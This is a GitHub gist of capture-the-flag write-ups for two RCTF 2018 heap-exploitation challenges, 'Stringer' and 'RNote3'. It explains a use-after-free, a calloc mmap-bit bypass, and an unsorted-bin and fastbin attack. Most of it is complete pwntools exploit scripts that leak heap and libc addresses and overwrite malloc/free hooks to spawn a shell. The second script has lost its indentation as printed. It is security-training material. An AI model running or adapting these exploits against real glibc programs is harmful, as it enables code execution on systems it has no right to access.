Skip to content

Instantly share code, notes, and snippets.

@romanking98
Last active August 16, 2018 10:45
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save romanking98/9ba66d250c8ba132c0a63cfbc20059a7 to your computer and use it in GitHub Desktop.
Save romanking98/9ba66d250c8ba132c0a63cfbc20059a7 to your computer and use it in GitHub Desktop.
rctf-2018-exploits

Stringer (18 solves)

Challenge from RCTF, prequals to XCTF.

Bugs

There are 2 bugs in the program : the first is an obvious UAF. The second is no NULL termination immediately after our input, allowing us to leak. NULL byte terminates at buf + size - 1, read loop breaks if buf == "\n"

However, leaking is tricky since program uses calloc, which sets the newly allocated heap chunk to 0x00.

Tricking calloc

First we need to know how calloc works. We can find the calloc-only source snippet at str8outtaheap

Towards the end of the code, we find this:

  d = (INTERNAL_SIZE_T *) mem;
  clearsize = csz - SIZE_SZ;
  nclears = clearsize / sizeof (INTERNAL_SIZE_T);
  assert (nclears >= 3);

  if (nclears > 9)
    return memset (d, 0, clearsize);

However , there is an exception for this.

  if (chunk_is_mmapped (p))
    {
      if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz);

      return mem;
    }

So if in size of p, the mmap bit is set, then it will believe that the p is a mmaped chunk.

 → 0x7f4fde993e2e <calloc+286>     mov    rdx, QWORD PTR [r8-0x8]
   0x7f4fde993e32 <calloc+290>     test   dl, 0x2
   0x7f4fde993e35 <calloc+293>     je     0x7f4fde993e90 <__libc_calloc+384>

the test dl, 0x2 is the test for the mmap bit.

So we need to find a way to alter the size of the chunk right after the malloc but before this check. Using the unsorted bin attack on an area near the size field, we can overwrite the size of the newly allocated chunk by partially overwriting it with the upper bytes of the main_arena.

Aligning the Heap

To do so, we need to carefully align the heap ptrs in such a way that the bk is set to (chunk - 0x10 + 0x4 ) - 0x10. We can just create 3 unsorted bins in the double linked list, and then use the edit functionality to slowly increment the bk ptr. Since we have limited increments (max 0x80) , I chose to make them align such that there is a +0x100 difference.

gef➤  x/20xg 0x559e82fd2000+0x7bc0
0x559e82fd9bc0:	0x0000000000000000	0x00000000000000a1
0x559e82fd9bd0:	0x0000559e82fd9cd0	0x00007fb243f60b78
0x559e82fd9be0:	0x0000000000000000	0x0000000000000000
0x559e82fd9bf0:	0x0000000000000000	0x0000000000000000
0x559e82fd9c00:	0x0000000000000000	0x0000000000000000
0x559e82fd9c10:	0x0000000000000000	0x0000000000000000
0x559e82fd9c20:	0x0000000000000000	0x0000000000000000
0x559e82fd9c30:	0x0000000000000000	0x0000000000000000
0x559e82fd9c40:	0x0000000000000000	0x0000000000000000
0x559e82fd9c50:	0x0000000000000000	0x0000000000000000
gef➤
0x559e82fd9c60:	0x00000000000000a0	0x0000000000000070
0x559e82fd9c70:	0x4141414141414141	0x000000000000000a
0x559e82fd9c80:	0x0000000000000000	0x0000000000000000
0x559e82fd9c90:	0x0000000000000000	0x0000000000000000
0x559e82fd9ca0:	0x0000000000000000	0x0000000000000000
0x559e82fd9cb0:	0x0000000000000000	0x0000000000000000
0x559e82fd9cc0:	0x0000000000000000	0x0000000000000000
0x559e82fd9cd0:	0x0000000000000000	0x00000000000000d1
0x559e82fd9ce0:	0x00007fb243f60b78	0x0000559e82fd9bc0

So we have to now make 9bc0 to 9cd0 + 4 - 0x10 = 9cc4 , which only requires 5 increments.

After this it becomes a trivial fastbin attack.

#!/usr/bin/python
from pwn import *

#p = remote("stringer.2018.teamrois.cn",7272)
p = process("./stringer")
raw_input()

def menu():
	p.recvuntil("choice:")

def new_str(leng,cont):
	menu()
	p.sendline("1")
	p.recvuntil("length:")
	p.sendline(str(leng))
	p.recvuntil("content:")
	p.sendline(cont)

def inc_str(idx,val):
	menu()
	p.sendline("3")
	p.recvuntil("index:")
	p.sendline(str(idx))
	p.recvuntil("index:")
	p.sendline(str(val))

def delete(idx):
	menu()
	p.sendline("4")
	p.recvuntil("index:")
	p.sendline(str(idx))

name = "A"*8

new_str(0xff,name)	# 0
new_str(0xff,name)	# 1
delete(1)
new_str(0xff,name)	# 2
new_str(0xff,name)	# 3

delete(0)
delete(2)
delete(3)
# now we can increment through these indices.

new_str(150,name)	# 4
new_str(101,name)	# 5
new_str(200,name)	# 6
new_str(20,name)	# 7
new_str(101,name)	# 8
new_str(101,name)	# 9

delete(6)
delete(4)

# increment idx = 1, val = 8 4 times, val = 9 1 time

inc_str(1,8)
inc_str(1,8)
inc_str(1,8)
inc_str(1,8)

inc_str(2,9)

raw_input()
new_str(200,"")		# 10
p.recvuntil("your string: \n")
libc = "\x78" + p.recv(5) + "\x00"*2
libc = u64(libc) - 0x3c4b78
log.success("Libc: " + hex(libc))

delete(8)
delete(9)
delete(8)

buf = p64(libc + 0x3c4aed)
new_str(101,buf)
new_str(101,buf)
new_str(101,buf)

finale = "X"*19
finale += p64(libc + 0xf02a4)
new_str(101,finale)

delete(7)
delete(7)

p.interactive()

Flag : RCTF{Is_th1s_c1-1unk_m4pped?_df3ac9}

#!/usr/bin/python
from pwn import *
# Uninitialised Stack variable
p = remote("rnote3.2018.teamrois.cn", 7322)
#p = process("./RNote3")
raw_input()
def add_note(title,size,content):
p.sendline("1")
p.recvuntil("title:")
p.sendline(title)
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.sendline(content)
def delete_note(title):
p.sendline("4")
p.recvuntil("title:")
p.sendline(title)
def view_note(title):
p.sendline("2")
p.recvuntil("title:")
p.sendline(title)
def edit_note(title,content):
p.sendline("3")
p.recvuntil("title:")
p.sendline(title)
p.recvuntil("content:")
p.sendline(content)
title = "A"*6
cont = "B"*20
add_note("A",24,cont)
add_note("B",200,cont)
add_note("C",24,cont)
add_note("D",24,cont)
delete_note("D")
view_note("A")
delete_note("ZZ")
delete_note("B")
buf = "F"*7 + "\x00"
buf += "\x18"
add_note("B",24,buf)
view_note("FFFFFFF")
p.recvuntil("note content: ")
heap = p.recvuntil("\n").strip("\n")
heap = heap.ljust(8,"\x00")
heap = u64(heap) - 0x170
log.success("Heap : " + hex(heap))
buf = "F"*7 + "\x00"
buf += p64(0x18)
buf += p64(heap + 0x70)[0:7]
edit_note("B",buf)
view_note("FFFFFFF")
p.recvuntil("note content: ")
libc = p.recvuntil("\n").strip("\n")
libc = libc.ljust(8,"\x00")
libc = u64(libc) - 0x3c4b78
log.success("Libc : " + hex(libc))
buf = "/bin/sh" + "\x00"
buf += p64(0x18)
buf += p64(libc + 0x3c67a8)[0:7]
edit_note("B",buf)
finale = p64(libc + 0x45390)
edit_note("/bin/sh",finale)
delete_note("B")
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment